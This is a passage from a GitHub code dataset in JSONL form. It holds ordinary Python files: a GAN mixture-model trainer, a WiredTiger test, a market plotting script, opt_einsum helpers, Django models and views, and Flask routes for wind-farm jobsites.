self.dis_cost = self.dis_cost + self.entropy_ratio * self.entropy_cost\n self.real_likelihood_mean = tf.reduce_mean(self.real_likelihood)\n self.fake_likelihood_mean = tf.reduce_mean(self.fake_likelihood)\n\n self.gen_adv_opt = tf.compat.v1.train.AdamOptimizer(learning_rate=self.gen_adv_lrate).minimize(self.gen_cost, var_list=self.gen_vars)\n self.gen_sup_opt = tf.compat.v1.train.AdamOptimizer(learning_rate=self.gen_sup_lrate).minimize(self.gen_sup_cost, var_list=self.gen_vars)\n self.dis_opt = tf.compat.v1.train.AdamOptimizer(learning_rate=self.dis_lrate).minimize(self.dis_cost, var_list=self.dis_vars)\n\n self.reg_loss = [tf.nn.l2_loss(v) for v in tf.compat.v1.trainable_variables()]\n\n\n def init_train(self,logfile='gmgan.log'):\n tf.compat.v1.random.set_random_seed(self.seed)\n self.sess = tf.compat.v1.Session()\n self.sess.run(tf.compat.v1.global_variables_initializer())\n self.writer = tf.compat.v1.summary.FileWriter(logfile, self.sess.graph)\n\n def train(self, train_context, real_context, real_response, max_epochs=1000, lambda_max_epochs=1000, is_load=True, is_save=True, checkpoint_dir='gmgan_checkpoint',\n model_dir='gmgan_model', model_name='gmgan'):\n self.global_step = 1\n if is_load:\n could_load, checkpoint_counter = self.load(self.sess, self.saver, checkpoint_dir, model_dir)\n if could_load:\n self.global_step = checkpoint_counter\n print(\" [*] Load SUCCESS\")\n else:\n print(\" [!] Load failed...\")\n\n for i in range(lambda_max_epochs):\n feed_dict = {self.lambda_input: np.ones(shape=(1,1))}\n _, lamb_cost, lamb = self.sess.run([self.lamb_opt, self.lamb_cost, self.lambval], feed_dict=feed_dict)\n print(\"epoch: %1d, cost: %.3f, lamb: %.3f\" % (i, lamb_cost, lamb), end='\\r', flush=True)\n\n print(\"epoch: %1d, cost: %.3f, lamb: %.3f\" % (i, lamb_cost, lamb), end='\\n')\n\n lamb = np.expand_dims(lamb, axis=0)\n\n for i in range(max_epochs):\n if self.batch_size is not None:\n idx = self.next_batch(np.shape(train_context)[0])\n batch_input = train_context[idx, :]\n else:\n batch_input = train_context\n\n feed_dict = {self.context: batch_input,\n self.lamb: lamb, self.real_context: real_context, self.real_response: real_response}\n if i < self.sup_max_epoch:\n self.sess.run(self.gen_sup_opt, feed_dict=feed_dict)\n else:\n self.sess.run(self.gen_adv_opt, feed_dict=feed_dict)\n\n _, dis_cost, rlm, flm, ecost, gsup, gadv = \\\n self.sess.run([self.dis_opt, self.dis_cost,\n self.real_likelihood_mean, self.fake_likelihood_mean,\n self.entropy_cost, self.gen_sup_cost, self.gen_adv_cost], feed_dict=feed_dict)\n\n if i != 0 and i % 1000 == 0 and is_save:\n self.save(self.sess, self.saver, checkpoint_dir, model_dir, model_name)\n self.global_step = self.global_step + 1\n\n print(\"epoch: %1d, gen_sup_cost: %.3f, gen_adv_cost: %.3f, dis_cost: %.3f, real_liklihood: %.3f, \"\n \"fake_likelihood: %.3f, entropy_cost: %.3f\" %\n (i, gsup, gadv, dis_cost, rlm, flm, ecost), end='\\r', flush=True)\n\n print(\"epoch: %1d, gen_sup_cost: %.3f, gen_adv_cost: %.3f, dis_cost: %.3f, real_liklihood: %.3f, \"\n \"fake_likelihood: %.3f, entropy_cost: %.3f\" %\n (i, gsup, gadv, dis_cost, rlm, flm, ecost), end='\\n')\n\n def predict(self, cinput, n_samples=1):\n rinput = np.random.uniform(low=np.min(cinput, axis=0), high=np.max(cinput, axis=0),size=(1, np.shape(cinput)[1]))\n mean, scale, mc = self.sess.run([self.outputs['mean'], self.outputs['scale'], self.outputs['mc']],\n feed_dict={self.context: cinput, self.real_context:rinput})\n\n n_data = np.shape(cinput)[0]\n\n scales = np.expand_dims(scale, axis=0)\n scales = np.reshape(scales, newshape=(n_data, self.response_dim, self.n_comps), order='F')\n means = np.expand_dims(mean, axis=0)\n means = np.reshape(means, newshape=(n_data, self.response_dim, self.n_comps), order='F')\n\n scales = np.transpose(scales, (0, 2, 1))\n means = np.transpose(means, (0, 2, 1))\n\n out = np.zeros(shape=(n_data, n_samples, self.response_dim))\n idx = np.zeros(shape=(n_data, n_samples))\n for i in range(np.shape(means)[0]):\n out[i, :, :], idx[i, :] = sample_gmm(n_samples=n_samples, means=means[i, :, :],\n scales=scales[i, :, :] * self.scaling, mixing_coeffs=mc[i, :])\n\n outdict = {'samples': out, 'compIDs': idx, 'mean': mean, 'scale': scale, 'mc': mc}\n return out, outdict\n\n\n def generate(self, cinput, n_samples=100, n_output=1):\n rinput = np.random.uniform(low=np.min(cinput, axis=0), high=np.max(cinput, axis=0),\n size=(1, np.shape(cinput)[1]))\n mean, scale, mc = self.sess.run([self.outputs['mean'], self.outputs['scale'], self.outputs['mc']],\n feed_dict={self.context: cinput, self.real_context: rinput})\n\n n_data = np.shape(cinput)[0]\n\n scales = np.expand_dims(scale, axis=0)\n scales = np.reshape(scales, newshape=(n_data, self.response_dim, self.n_comps), order='F')\n means = np.expand_dims(mean, axis=0)\n means = np.reshape(means, newshape=(n_data, self.response_dim, self.n_comps), order='F')\n scales = np.transpose(scales, (0, 2, 1))\n means = np.transpose(means, (0, 2, 1))\n\n n_data = np.shape(cinput)[0]\n res = np.zeros(shape=(n_data, n_output, self.response_dim), dtype=np.float32)\n for i in range(n_data):\n souts, _ = sample_gmm(n_samples=n_samples, means=means[i, :, :], scales=scales[i, :, :] * self.scaling, mixing_coeffs=mc[i, :])\n sinputs = np.tile(cinput[i,:], [n_samples,1])\n k0 = 0\n real_likelihood = np.zeros(n_samples)\n while k0+100 < n_samples:\n rlikelihood = self.sess.run(self.real_likelihood, feed_dict={self.context:sinputs[k0:k0+100,:],\n self.real_context:sinputs[k0:k0+100,:],\n self.real_response:souts[k0:k0+100,:]})\n real_likelihood[k0:k0+100] = rlikelihood\n k0 = k0 + 100\n\n ind = np.argsort(-np.array(real_likelihood), axis=-1)\n res[i,:,:] = souts[ind[:n_output],:]\n\n return res\n\n def next_batch(self, size):\n idx = np.arange(0, size)\n np.random.shuffle(idx)\n idx = idx[:self.batch_size]\n\n return idx\n","repo_name":"tczhouyou/mpgen","sub_path":"models/gmgan.py","file_name":"gmgan.py","file_ext":"py","file_size_in_byte":15415,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"36955702389","text":"import threading\nfrom rollback_to_stable_util import test_rollback_to_stable_base\nfrom wiredtiger import stat\nfrom wtdataset import SimpleDataSet\nfrom wtscenario import make_scenarios\nfrom wtthread import checkpoint_thread\n\n# test_prepare21.py\n# Test prepare rollback doesn't crash because of triggering out of order fix.\nclass test_prepare21(test_rollback_to_stable_base):\n\n format_values = [\n ('column', dict(key_format='r', value_format='S')),\n ('column_fix', dict(key_format='r', value_format='8t')),\n ('row_integer', dict(key_format='i', value_format='S')),\n ]\n\n scenarios = make_scenarios(format_values)\n\n def conn_config(self):\n config = 'cache_size=10MB,statistics=(all),timing_stress_for_test=[history_store_checkpoint_delay]'\n return config\n\n def evict_cursor(self, uri, nrows):\n # Configure debug behavior on a cursor to evict the page positioned on when the reset API is used.\n evict_cursor = self.session.open_cursor(uri, None, \"debug=(release_evict)\")\n self.session.begin_transaction(\"ignore_prepare=true\")\n for i in range (1, nrows + 1):\n evict_cursor.set_key(i)\n evict_cursor.search()\n evict_cursor.reset()\n evict_cursor.close()\n self.session.rollback_transaction()\n\n def test_prepare_rollback(self):\n nrows = 10\n\n # Create a table.\n uri = \"table:prepare21\"\n ds = SimpleDataSet(self, uri, 0, key_format=self.key_format, value_format=self.value_format)\n ds.populate()\n\n if self.value_format == '8t':\n value_a = 97\n value_b = 98\n value_c = 99\n value_d = 100\n else:\n value_a = \"aaaaa\" * 100\n value_b = \"bbbbb\" * 100\n value_c = \"ccccc\" * 100\n value_d = \"ddddd\" * 100\n\n # Pin oldest and stable to timestamp 10.\n self.conn.set_timestamp('oldest_timestamp=' + self.timestamp_str(10) +\n ',stable_timestamp=' + self.timestamp_str(10))\n\n self.large_updates(uri, value_a, ds, nrows, False, 20)\n self.large_updates(uri, value_b, ds, nrows, False, 30)\n self.large_removes(uri, ds, nrows, False, 40)\n\n prepare_session = self.conn.open_session()\n prepare_session.begin_transaction()\n cursor = prepare_session.open_cursor(uri)\n for i in range (1, nrows + 1):\n cursor[i] = value_c\n cursor.close()\n prepare_session.prepare_transaction('prepare_timestamp=' + self.timestamp_str(50))\n\n # Verify data is visible and correct.\n self.check(value_a, uri, nrows, None, 20)\n self.check(value_b, uri, nrows, None, 30)\n\n self.evict_cursor(uri, nrows)\n\n # Pin stable to timestamp 40.\n self.conn.set_timestamp('stable_timestamp=' + self.timestamp_str(40))\n\n # Rollback the prepared update\n prepare_session.rollback_transaction()\n self.large_updates(uri, value_d, ds, nrows, False, 60)\n\n done = threading.Event()\n ckpt = checkpoint_thread(self.conn, done)\n try:\n ckpt.start()\n\n # Wait for checkpoint to start before committing last transaction.\n ckpt_started = 0\n while not ckpt_started:\n stat_cursor = self.session.open_cursor('statistics:', None, None)\n ckpt_started = stat_cursor[stat.conn.checkpoint_state][2] != 0\n stat_cursor.close()\n\n self.evict_cursor(uri, nrows)\n finally:\n done.set()\n ckpt.join()\n\n # Verify data is visible and correct.\n self.check(value_a, uri, nrows, None, 20)\n self.check(value_b, uri, nrows, None, 30)\n self.check(value_d, uri, nrows, None, 60)\n\nif __name__ == '__main__':\n wttest.run()\n","repo_name":"mongodb/mongo","sub_path":"src/third_party/wiredtiger/test/suite/test_prepare21.py","file_name":"test_prepare21.py","file_ext":"py","file_size_in_byte":3818,"program_lang":"python","lang":"en","doc_type":"code","stars":24670,"dataset":"github-code","pt":"36"} +{"seq_id":"19862823622","text":"from WindPy import w\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\n# 散点与向量场画图工具\ndef plot_point_vector(x, y, slope, length):\n # x, y是散点位置\n # -slope是向量场斜率\n # length是向量场长度\n x1 = np.array([x-length/(np.sqrt(slope**2 + 1)), x+length/(np.sqrt(slope**2 + 1))])\n y1 = (y + slope * x) - slope * x1\n plt.plot(x1, y1, 'b')\n plt.plot([x], [y], 'ro')\n\n\ndef sigma_value(x_1, y_1, amt_x_1, amt_y_1, x_2, y_2, amt_x_2, amt_y_2):\n sigma_1 = np.log(amt_x_1 / amt_y_1) - np.log(amt_x_2 / amt_y_2)\n sigma_2 = np.log(x_1 / y_1) - np.log(x_2 / y_2)\n sigma = (-sigma_1 + sigma_2) / sigma_2\n return sigma\n\n\nw.start()\nCODE_1 = '000001.SH'\nCODE_2 = '399006.SZ'\nSTART_DATE = '2019-12-31'\nEND_DATE = '2020-03-30'\n\nDATA_1 = w.wsd(CODE_1, \"close,amt\", START_DATE, END_DATE, \"\")\nDATA_2 = w.wsd(CODE_2, \"close,amt\", START_DATE, END_DATE, \"\")\n\"TradingCalendar=NYSE\"\nDATE_LIST = DATA_1.Times\nCLOSE_1, AMT_1 = DATA_1.Data\nCLOSE_2, AMT_2 = DATA_2.Data\n\nclose_1_prev, amt_1_prev, close_2_prev, amt_2_prev = None, None, None, None\nfor close_1, amt_1, close_2, amt_2, date in zip(CLOSE_1, AMT_1, CLOSE_2, AMT_2, DATE_LIST):\n print(date, ' datas: ', close_1, amt_1, close_2, amt_2)\n x = amt_1/close_1\n y = amt_2/close_2\n slope = close_1/close_2\n length = 3000000\n plot_point_vector(x, y, slope, length)\n if close_1_prev is not None:\n sigma = sigma_value(close_1_prev, close_2_prev, amt_1_prev, amt_2_prev, close_1, close_2, amt_1, amt_2)\n print(date, ' sigma: ', sigma)\n close_1_prev, amt_1_prev, close_2_prev, amt_2_prev = close_1, amt_1, close_2, amt_2\n\n# plt.axis([0, 4, 0, 4])\nplt.show()","repo_name":"08zhangyi/multi-factor-gm-wind-joinquant","sub_path":"市场分析工具/市场不同效用函数研究工具/画图脚本/画图6.py","file_name":"画图6.py","file_ext":"py","file_size_in_byte":1683,"program_lang":"python","lang":"en","doc_type":"code","stars":180,"dataset":"github-code","pt":"36"} +{"seq_id":"26716819876","text":"\"\"\"\nContains helper functions for opt_einsum testing scripts\n\"\"\"\n\nfrom typing import Any, Collection, Dict, FrozenSet, Iterable, List, Optional, Tuple, Union, overload\n\nimport numpy as np\n\nfrom .parser import get_symbol\nfrom .typing import ArrayIndexType, PathType\n\n__all__ = [\"build_views\", \"compute_size_by_dict\", \"find_contraction\", \"flop_count\"]\n\n_valid_chars = \"abcdefghijklmopqABC\"\n_sizes = np.array([2, 3, 4, 5, 4, 3, 2, 6, 5, 4, 3, 2, 5, 7, 4, 3, 2, 3, 4])\n_default_dim_dict = {c: s for c, s in zip(_valid_chars, _sizes)}\n\n\ndef build_views(string: str, dimension_dict: Optional[Dict[str, int]] = None) -> List[np.ndarray]:\n \"\"\"\n Builds random numpy arrays for testing.\n\n Parameters\n ----------\n string : str\n List of tensor strings to build\n dimension_dict : dictionary\n Dictionary of index _sizes\n\n Returns\n -------\n ret : list of np.ndarry's\n The resulting views.\n\n Examples\n --------\n >>> view = build_views('abbc', {'a': 2, 'b':3, 'c':5})\n >>> view[0].shape\n (2, 3, 3, 5)\n\n \"\"\"\n\n if dimension_dict is None:\n dimension_dict = _default_dim_dict\n\n views = []\n terms = string.split(\"->\")[0].split(\",\")\n for term in terms:\n dims = [dimension_dict[x] for x in term]\n views.append(np.random.rand(*dims))\n return views\n\n\n@overload\ndef compute_size_by_dict(indices: Iterable[int], idx_dict: List[int]) -> int:\n ...\n\n\n@overload\ndef compute_size_by_dict(indices: Collection[str], idx_dict: Dict[str, int]) -> int:\n ...\n\n\ndef compute_size_by_dict(indices: Any, idx_dict: Any) -> int:\n \"\"\"\n Computes the product of the elements in indices based on the dictionary\n idx_dict.\n\n Parameters\n ----------\n indices : iterable\n Indices to base the product on.\n idx_dict : dictionary\n Dictionary of index _sizes\n\n Returns\n -------\n ret : int\n The resulting product.\n\n Examples\n --------\n >>> compute_size_by_dict('abbc', {'a': 2, 'b':3, 'c':5})\n 90\n\n \"\"\"\n ret = 1\n for i in indices: # lgtm [py/iteration-string-and-sequence]\n ret *= idx_dict[i]\n return ret\n\n\ndef find_contraction(\n positions: Collection[int],\n input_sets: List[ArrayIndexType],\n output_set: ArrayIndexType,\n) -> Tuple[FrozenSet[str], List[ArrayIndexType], ArrayIndexType, ArrayIndexType]:\n \"\"\"\n Finds the contraction for a given set of input and output sets.\n\n Parameters\n ----------\n positions : iterable\n Integer positions of terms used in the contraction.\n input_sets : list\n List of sets that represent the lhs side of the einsum subscript\n output_set : set\n Set that represents the rhs side of the overall einsum subscript\n\n Returns\n -------\n new_result : set\n The indices of the resulting contraction\n remaining : list\n List of sets that have not been contracted, the new set is appended to\n the end of this list\n idx_removed : set\n Indices removed from the entire contraction\n idx_contraction : set\n The indices used in the current contraction\n\n Examples\n --------\n\n # A simple dot product test case\n >>> pos = (0, 1)\n >>> isets = [set('ab'), set('bc')]\n >>> oset = set('ac')\n >>> find_contraction(pos, isets, oset)\n ({'a', 'c'}, [{'a', 'c'}], {'b'}, {'a', 'b', 'c'})\n\n # A more complex case with additional terms in the contraction\n >>> pos = (0, 2)\n >>> isets = [set('abd'), set('ac'), set('bdc')]\n >>> oset = set('ac')\n >>> find_contraction(pos, isets, oset)\n ({'a', 'c'}, [{'a', 'c'}, {'a', 'c'}], {'b', 'd'}, {'a', 'b', 'c', 'd'})\n \"\"\"\n\n remaining = list(input_sets)\n inputs = (remaining.pop(i) for i in sorted(positions, reverse=True))\n idx_contract = frozenset.union(*inputs)\n idx_remain = output_set.union(*remaining)\n\n new_result = idx_remain & idx_contract\n idx_removed = idx_contract - new_result\n remaining.append(new_result)\n\n return new_result, remaining, idx_removed, idx_contract\n\n\ndef flop_count(\n idx_contraction: Collection[str],\n inner: bool,\n num_terms: int,\n size_dictionary: Dict[str, int],\n) -> int:\n \"\"\"\n Computes the number of FLOPS in the contraction.\n\n Parameters\n ----------\n idx_contraction : iterable\n The indices involved in the contraction\n inner : bool\n Does this contraction require an inner product?\n num_terms : int\n The number of terms in a contraction\n size_dictionary : dict\n The size of each of the indices in idx_contraction\n\n Returns\n -------\n flop_count : int\n The total number of FLOPS required for the contraction.\n\n Examples\n --------\n\n >>> flop_count('abc', False, 1, {'a': 2, 'b':3, 'c':5})\n 30\n\n >>> flop_count('abc', True, 2, {'a': 2, 'b':3, 'c':5})\n 60\n\n \"\"\"\n\n overall_size = compute_size_by_dict(idx_contraction, size_dictionary)\n op_factor = max(1, num_terms - 1)\n if inner:\n op_factor += 1\n\n return overall_size * op_factor\n\n\ndef rand_equation(\n n: int,\n reg: int,\n n_out: int = 0,\n d_min: int = 2,\n d_max: int = 9,\n seed: Optional[int] = None,\n global_dim: bool = False,\n return_size_dict: bool = False,\n) -> Union[Tuple[str, PathType, Dict[str, int]], Tuple[str, PathType]]:\n \"\"\"Generate a random contraction and shapes.\n\n Parameters\n ----------\n n : int\n Number of array arguments.\n reg : int\n 'Regularity' of the contraction graph. This essentially determines how\n many indices each tensor shares with others on average.\n n_out : int, optional\n Number of output indices (i.e. the number of non-contracted indices).\n Defaults to 0, i.e., a contraction resulting in a scalar.\n d_min : int, optional\n Minimum dimension size.\n d_max : int, optional\n Maximum dimension size.\n seed: int, optional\n If not None, seed numpy's random generator with this.\n global_dim : bool, optional\n Add a global, 'broadcast', dimension to every operand.\n return_size_dict : bool, optional\n Return the mapping of indices to sizes.\n\n Returns\n -------\n eq : str\n The equation string.\n shapes : list[tuple[int]]\n The array shapes.\n size_dict : dict[str, int]\n The dict of index sizes, only returned if ``return_size_dict=True``.\n\n Examples\n --------\n >>> eq, shapes = rand_equation(n=10, reg=4, n_out=5, seed=42)\n >>> eq\n 'oyeqn,tmaq,skpo,vg,hxui,n,fwxmr,hitplcj,kudlgfv,rywjsb->cebda'\n\n >>> shapes\n [(9, 5, 4, 5, 4),\n (4, 4, 8, 5),\n (9, 4, 6, 9),\n (6, 6),\n (6, 9, 7, 8),\n (4,),\n (9, 3, 9, 4, 9),\n (6, 8, 4, 6, 8, 6, 3),\n (4, 7, 8, 8, 6, 9, 6),\n (9, 5, 3, 3, 9, 5)]\n \"\"\"\n\n if seed is not None:\n np.random.seed(seed)\n\n # total number of indices\n num_inds = n * reg // 2 + n_out\n inputs = [\"\" for _ in range(n)]\n output = []\n\n size_dict = {get_symbol(i): np.random.randint(d_min, d_max + 1) for i in range(num_inds)}\n\n # generate a list of indices to place either once or twice\n def gen():\n for i, ix in enumerate(size_dict):\n # generate an outer index\n if i < n_out:\n output.append(ix)\n yield ix\n # generate a bond\n else:\n yield ix\n yield ix\n\n # add the indices randomly to the inputs\n for i, ix in enumerate(np.random.permutation(list(gen()))):\n # make sure all inputs have at least one index\n if i < n:\n inputs[i] += ix\n else:\n # don't add any traces on same op\n where = np.random.randint(0, n)\n while ix in inputs[where]:\n where = np.random.randint(0, n)\n\n inputs[where] += ix\n\n # possibly add the same global dim to every arg\n if global_dim:\n gdim = get_symbol(num_inds)\n size_dict[gdim] = np.random.randint(d_min, d_max + 1)\n for i in range(n):\n inputs[i] += gdim\n output += gdim\n\n # randomly transpose the output indices and form equation\n output = \"\".join(np.random.permutation(output)) # type: ignore\n eq = \"{}->{}\".format(\",\".join(inputs), output)\n\n # make the shapes\n shapes = [tuple(size_dict[ix] for ix in op) for op in inputs]\n\n ret = (eq, shapes)\n\n if return_size_dict:\n return ret + (size_dict,)\n else:\n return ret\n","repo_name":"dgasmith/opt_einsum","sub_path":"opt_einsum/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":8455,"program_lang":"python","lang":"en","doc_type":"code","stars":764,"dataset":"github-code","pt":"36"} +{"seq_id":"4255250004","text":"from typing import List\n\nclass Solution:\n def canJump(self, nums: List[int]) -> bool:\n last_pos = len(nums) - 1\n for i in reversed(range(last_pos)):\n if i + nums[i] >= last_pos:\n last_pos = i\n\n return last_pos == 0\n\n def bottom_up(self, nums: List[int]) -> bool:\n dp = [None for _ in range(len(nums))]\n dp[len(nums) - 1] = True\n\n for i in reversed(range(len(nums) - 1)):\n furthest_jump = min(i + nums[i], len(nums) - 1)\n for j in range(i + 1, furthest_jump + 1):\n if dp[j]:\n dp[i] = True\n break\n\n return dp[0] == True\n","repo_name":"blhwong/algos_py","sub_path":"leet/jump_game/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"37350497637","text":"from ase.units import Bohr\nfrom my_gpaw.new.ase_interface import GPAW\nfrom my_gpaw.utilities.dipole import dipole_matrix_elements_from_calc\n\n\ndef test_dipole_me(gpw_files):\n \"\"\"Check dipole matrix-elements for H2 molecule.\"\"\"\n calc = GPAW(gpw_files['h2_pw_wfs'])\n\n # Method 1: evaluate all-electron wave functions on fine grid:\n psi0, psi1 = (\n calc.calculation.state.ibzwfs.get_all_electron_wave_function(n)\n for n in [0, 1])\n if psi0 is not None:\n d1_v = (psi0 * psi1).moment() * Bohr\n\n # Method 2: use pseudo wave function + PAW corrections:\n d2_nnv = dipole_matrix_elements_from_calc(calc, n1=0, n2=2)[0]\n\n assert abs(d2_nnv[0, 0] - calc.atoms.cell.sum(0) / 2).max() < 0.04\n assert abs(d2_nnv[1, 1] - calc.atoms.cell.sum(0) / 2).max() < 0.04\n if psi0 is not None:\n assert abs(d2_nnv[0, 1] - d1_v).max() < 1e-3\n\n # Method 3: same as above but with translated molecule:\n calc = GPAW(gpw_files['h2_pw_0_wfs'])\n d3_nnv = dipole_matrix_elements_from_calc(calc, n1=0, n2=2,\n center=[0, 0, 0])[0]\n\n assert abs(d3_nnv[0, 0]).max() < 0.04\n assert abs(d3_nnv[1, 1]).max() < 0.04\n assert abs(abs(d3_nnv[0, 1]) - abs(d2_nnv[0, 1])).max() < 1e-6\n","repo_name":"f-fathurrahman/ffr-learns-gpaw","sub_path":"my_gpaw/test/test_dipole_me.py","file_name":"test_dipole_me.py","file_ext":"py","file_size_in_byte":1258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"21629002464","text":"from django.db import models\nimport uuid\nfrom project.models import Project\nfrom django.contrib.postgres.fields import ArrayField\n\n\nclass Youtube(models.Model):\n \"\"\"\n Model for the Youtube object.\n \"\"\"\n\n youtube_uuid = models.UUIDField(\n default=uuid.uuid4,\n unique=True,\n editable=False,\n verbose_name=\"Youtube UUID\",\n primary_key=False,\n )\n channel_id = models.CharField(\n verbose_name=\"Youtube channel\", max_length=200, db_index=True\n )\n project_id = models.ForeignKey(\n Project,\n on_delete=models.CASCADE,\n help_text=(\"Youtube to which the Project belongs\"),\n )\n auth_token = models.JSONField(verbose_name=\"Auth token\", null=False, blank=False)\n\n def __str__(self):\n return str(self.youtube_uuid)\n","repo_name":"AI4Bharat/Chitralekha-Backend","sub_path":"backend/youtube/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"36"} +{"seq_id":"26574675060","text":"from django.shortcuts import render\nfrom django.contrib.auth.decorators import login_required\n\nfrom .models import Order, OrderLine, MenuItem, Category\n\n# Create your views here.\n\n@login_required(login_url='/user/')\ndef shopping_cart(request):\n # Find all items in details without parent order and with user's ID\n user_id = request.user.id\n cart = OrderLine.objects.filter(customer=user_id)\n orders = Order.objects.filter(customer_id=user_id)\n context = {\n 'cart': cart,\n 'orders': orders,\n }\n return render(request, 'eshop/cart.html', context)\n\n@login_required(login_url='/user/')\ndef orders(request):\n\n cart = OrderLine.objects.filter(customer=user_id)\n\n return render(request, 'eshop/cart.html', context)\n\n@login_required(login_url='/user/')\ndef menu(request):\n context = {\n 'menu': {},\n }\n\n items = MenuItem.objects.all()\n\n # Merge items with different sizes by name?\n items_merged = []\n\n\n # Sort items by category\n categories = { x.category_id for x in items } \n for category in categories:\n category_name = Category.objects.get(pk=category).name\n context['menu'][category_name] = items.filter(category_id = category)\n\n return render(request, 'eshop/index.html', context)\n","repo_name":"vkotek/cs50p3","sub_path":"pizzeria/eshop/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"8925649463","text":"import requests\nimport os\nfrom flask import Blueprint, jsonify, request\n\nfrom app.models import jobSite\nfrom ..models import Tower\nfrom ..models import Note\nfrom ..awsS3 import (\n upload_file_to_s3, allowed_file, get_unique_filename)\nfrom .auth_routes import token_required\nfrom ..models import JobSite, User, StorageLocation, Material\nfrom ..extensions import db\nfrom ..forms import CreateSiteForm, EditSiteForm\nfrom ..utils import form_validation_errors\n\njobsite_routes = Blueprint('jobsites', __name__)\n\n\n#base route for jobsites\n@jobsite_routes.route('/')\n@token_required\ndef sites(current_user):\n sites = JobSite.query.all()\n return {'Jobsites': [site.to_dict() for site in sites]}\n\n\n\n\n#create jobsite\n@jobsite_routes.route('/', methods=[\"POST\"])\n@token_required\ndef create_site(current_user):\n form = CreateSiteForm()\n form['csrf_token'].data = request.cookies['csrf_token']\n image = form[\"image\"].data\n if image:\n if not allowed_file(image.filename):\n return {\"errors\": \"file type not allowed\"}, 400\n image.filename = get_unique_filename(image.filename)\n upload = upload_file_to_s3(image)\n\n if \"url\" not in upload:\n return upload, 400\n url = upload[\"url\"]\n else:\n url='https://windventory.s3.amazonaws.com/73e0e9c55dd04ba284e933cfa4d9c07a.png'\n if form.validate_on_submit():\n site = JobSite(\n name=form['siteName'].data,\n state = form['state'].data,\n client = form['client'].data,\n latitude = form.data['latitude'],\n longitude = form.data['longitude'],\n image=url, \n )\n db.session.add(site)\n db.session.commit()\n print('sadsadsadasdsadasd', site.id)\n id = site.id\n location = StorageLocation(\n storagetype_id = 2,\n jobsite_id = id\n )\n db.session.add(location)\n db.session.commit()\n return jsonify({\n 'site': site.to_dict(),\n })\n return {'errors': form_validation_errors(form.errors)}, 401\n\n#delete jobsite\n@jobsite_routes.route('/', methods=['DELETE'])\n@token_required\ndef delete_site(current_user, jobsite_id):\n jobsite = JobSite.query.filter_by(id = jobsite_id).one()\n db.session.delete(jobsite)\n db.session.commit()\n \n return jsonify({'id' : jobsite_id})\n\n\n#edit jobsite\n@jobsite_routes.route('/', methods=['PATCH'])\n@token_required\ndef edit_site(current_user, jobsite_id):\n form = EditSiteForm()\n form['csrf_token'].data = request.cookies['csrf_token']\n image = form[\"image\"].data\n if image:\n if not allowed_file(image.filename):\n return {\"errors\": \"file type not allowed\"}, 400\n image.filename = get_unique_filename(image.filename)\n upload = upload_file_to_s3(image)\n\n if \"url\" not in upload:\n return upload, 400\n url = upload[\"url\"]\n else:\n url= 'https://windventory.s3.amazonaws.com/73e0e9c55dd04ba284e933cfa4d9c07a.png'\n \n if form.validate_on_submit():\n jobsite = JobSite.query.get(jobsite_id)\n jobsite.name = form['siteName'].data\n jobsite.state = form['state'].data\n jobsite.client = form['client'].data\n jobsite.latitude = form.data['latitude'],\n jobsite.longitude = form.data['longitude'],\n jobsite.image= url \n db.session.commit()\n return jsonify({'jobsite' : jobsite.to_dict()})\n return {'errors': form_validation_errors(form.errors)}, 401\n\n\n#Search for specific jobsite\n@jobsite_routes.route('/')\n@token_required\ndef get_site(current_user, jobsite_id):\n site = JobSite.query.get(int(jobsite_id))\n return site.to_dict()\n\n\n\n@jobsite_routes.route('//weather')\n@token_required\ndef get_site_weather(current_user, jobsite_id):\n site = JobSite.query.get(jobsite_id)\n latitude = site.latitude\n longitude = site.longitude\n key = os.environ.get('OPENWEATHER_API_KEY')\n\n weather = requests.get(\n f'https://api.openweathermap.org/data/2.5/weather?lat={latitude}&lon={longitude}&appid={key}')\n forecast = requests.get(\n f'https://api.openweathermap.org/data/2.5/forecast?lat={latitude}&lon={longitude}&appid={key}')\n return {'weather' : weather.json(), 'forecast' : forecast.json()}\n\n\n\n#Join a jobsite\n@jobsite_routes.route('//join', methods=[\"PATCH\"])\n@token_required\ndef join_site(current_user, jobsite_id):\n user = User.query.get(current_user.id)\n user.jobsite_id = int(jobsite_id)\n\n db.session.commit()\n \n return jsonify({'id' : jobsite_id})\n\n#leave a jobsite\n@jobsite_routes.route('//leave', methods=[\"PATCH\"])\n@token_required\ndef leave_site(current_user, jobsite_id):\n user = User.query.get(current_user.id)\n user.jobsite_id = None\n if len(user.teams) > 0:\n user.teams.pop(0)\n db.session.commit()\n \n return jsonify({'id' : jobsite_id})\n\n\n#Show teams at a jobsite\n@jobsite_routes.route('//teams')\n@token_required\ndef get_site_teams(current_user, jobsite_id):\n jobsite = JobSite.query.get(int(jobsite_id))\n\n if not jobsite:\n return jsonify({'message': \"Jobsite doesn't exist\"})\n\n return jobsite.teams_to_dict()\n\n\n#Show members at a jobsite\n@jobsite_routes.route('//members')\n@token_required\ndef get_site_members(current_user, jobsite_id):\n users = User.query.filter_by(jobsite_id=jobsite_id).all()\n print(users)\n\n if not users:\n return jsonify({'message': \"Jobsite doesn't have any users\"})\n\n #return userdata here \n\n\n#Show towers at a jobsite\n@jobsite_routes.route('//towers')\n@token_required\ndef get_site_towers(current_user, jobsite_id):\n towers = Tower.query.filter_by(jobsite_id=jobsite_id).all()\n print(towers)\n\n if not towers:\n return jsonify({'message': \"Jobsite doesn't have any towers\"})\n\n return \"\"\n\n\n#Show jobsite notes\n@jobsite_routes.route('//notes')\n@token_required\ndef get_site_notes(current_user, jobsite_id):\n notes = Note.query.filter_by(jobsite_id=jobsite_id).all()\n print(notes)\n\n if not notes:\n return jsonify({'message': \"Notes don't exist fot this jobsite\"})\n\n return \"\"\n\n\n #Show jobsite inventory\n@jobsite_routes.route('//inventory')\n@token_required\ndef get_site_storage(current_user, site_id):\n storageLocation = 